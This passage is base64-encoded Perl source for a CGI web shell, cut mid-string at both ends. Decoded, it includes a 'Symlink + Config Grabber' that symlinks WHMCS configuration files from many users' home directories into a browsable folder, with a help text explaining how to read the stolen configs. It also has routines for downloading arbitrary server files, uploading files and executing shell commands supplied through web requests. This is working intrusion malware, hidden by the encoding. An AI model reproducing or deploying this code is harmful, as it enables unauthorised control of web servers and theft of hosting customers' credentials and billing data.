bC93aG1jL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dITS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hPU1Qvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSG9zdC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob3N0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NVUFBPUlRFUy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc3VwcG9ydGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2RvbWFpbnMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZG9tYWluL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hvc3Rpbmcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSE9TVElORy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NBUlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2FydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jYXJ0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL09SREVSL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL09yZGVyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL29yZGVyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVEFSRUEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NVUFBPUlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JVWS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CdXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL01BTkFHRS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9NYW5hZ2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVFNVUFBPUlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50U3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0hFQ0tPVVQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2hlY2tvdXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2hlY2tvdXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQkFTS0VUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0Jhc2tldC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iYXNrZXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU0VDVVJFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NlY3VyZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zZWN1cmUvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU0FMRVMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU2FsZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2FsZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CaWxsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JpbGwvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvUFVSQ0hBU0Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvUHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQUNDT1VOVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9BY2NvdW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FjY291bnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvVVNFUi9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9Vc2VyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3VzZXIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UUy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudHMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTVkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2VjdXJlL3dobS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcGFuZWwvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50ZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSApOyBmb3JlYWNoIChAYXJyYXkpeyBteSAkY29uZmlnbnlhID0gJF8tPntjb25maWdkaXJ9OyBteSAkdHlwZWNvbmZpZyA9ICRfLT57dHlwZX07IHN5bWxpbmsoIiRjb25maWdueWEiLCJzeW1saW5rX2NvbmZpZy8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQiKTsgbWtkaXIgInN5bWxpbmtfY29uZmlnLyR1c2VybnlhLSR0eXBlY29uZmlnLnR4dDQwNCI7IHN5bWxpbmsoIiRjb25maWdueWEiLCJzeW1saW5rX2NvbmZpZy8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQ0MDQvcHBxLnR4dCIpOyBjb3B5KCJzeW1saW5rX2NvbmZpZy9uZW11LnR4dCIsInN5bWxpbmtfY29uZmlnLyR1c2VybnlhLSR0eXBlY29uZmlnLnR4dDQwNC8uaHRhY2Nlc3MiKSA7IH0gfSBwcmludCAic3VjY2VzcyI7DQp9DQpzdWIgSGVscA0Kew0KcHJpbnQgIjxjb2RlPiBIb3cgVG8gVXNlciBTeW1saW5rICsgQ29uZmlnIEdyYWJiZXI/IEp1c3QgS2xpayBTeW1saW5rICsgQ29uZmlnIEdyYWJiZXI8YnI+IjsNCnByaW50ICIgVGhlbiBDaGVjayBEaXJzIEJ5IEVudGVyIFRoZSBVUkw8YnI+IjsNCnByaW50ICIgRXhhbXBsZTogc2l0ZS5jb20vY2dpZGlycy9zeW1saW5rX2NvbmZpZzxicj4iOw0KcHJpbnQgIiBGb3IgU3ltbGluayBKdXN0IEFkZCBJbiBVcmw8YnI+IjsNCnByaW50ICIgRXhhbXBsZTogc2l0ZS5jb20vY2dpZGlycy9zeW1saW5rX2NvbmZpZy9yb290LzwvY29kZT4iOw0KfQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQpsb2NhbCgkU2VuZEZpbGUpID0gQF87DQppZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQp7DQppZigkV2luTlQpDQp7DQpiaW5tb2RlKFNFTkRGSUxFKTsNCmJpbm1vZGUoU1RET1VUKTsNCn0NCiRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gbSEoW14vXlxcXSopJCE7DQpwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQpwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCnByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQpjbG9zZShTRU5ERklMRSk7DQp9DQplbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0Kew0KJlByaW50UGFnZUhlYWRlcigiZiIpOw0KcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7DQomUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KJlByaW50UGFnZUZvb3RlcjsNCn0NCn0NCg0KDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQooISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCnsNCiRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCn0NCmVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQp7DQpjaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCn0NCg0KaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCnsNCiZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQp9DQplbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0Kew0KJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQp9DQp9DQpzdWIgVXBsb2FkRmlsZQ0Kew0KIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQppZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0Kew0KJlByaW50UGFnZUhlYWRlcigiZiIpOw0KJlByaW50RmlsZVVwbG9hZEZvcm07DQomUHJpbnRQYWdlRm9vdGVyOw0KcmV0dXJuOw0KfQ0KJlByaW50UGFnZUhlYWRlcigiYyIpOw0KDQojIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KcHJpbnQgIjxjb2RlPlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCiMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCmNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCiRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQokVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCiMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQp7DQpwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KfQ0KZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCnsNCmlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0Kew0KYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQpwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCmNsb3NlKFVQTE9BREZJTEUpOw0KcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCn0NCmVsc2UNCnsNCnByaW50ICJGYWlsZWQ6ICQhPGJyPiI7DQp9DQp9DQpwcmludCAiPC9jb2RlPiI7DQomUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCiZQcmludFBhZ2VGb290ZXI7DQp9DQoNCnN1YiBEb3dubG9hZEZpbGUNCnsNCiMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQppZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0Kew0KJlByaW50UGFnZUhlYWRlcigiZiIpOw0KJlByaW50RmlsZURvd25sb2FkRm9ybTsNCiZQcmludFBhZ2VGb290ZXI7DQpyZXR1cm47DQp9DQoNCiMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCmlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQp7DQokVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQp9DQplbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0Kew0KY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCiRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQp9DQoNCmlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQp7DQomU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KfQ0KZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCnsNCiZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KfQ0KfQ0KDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCmlmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCi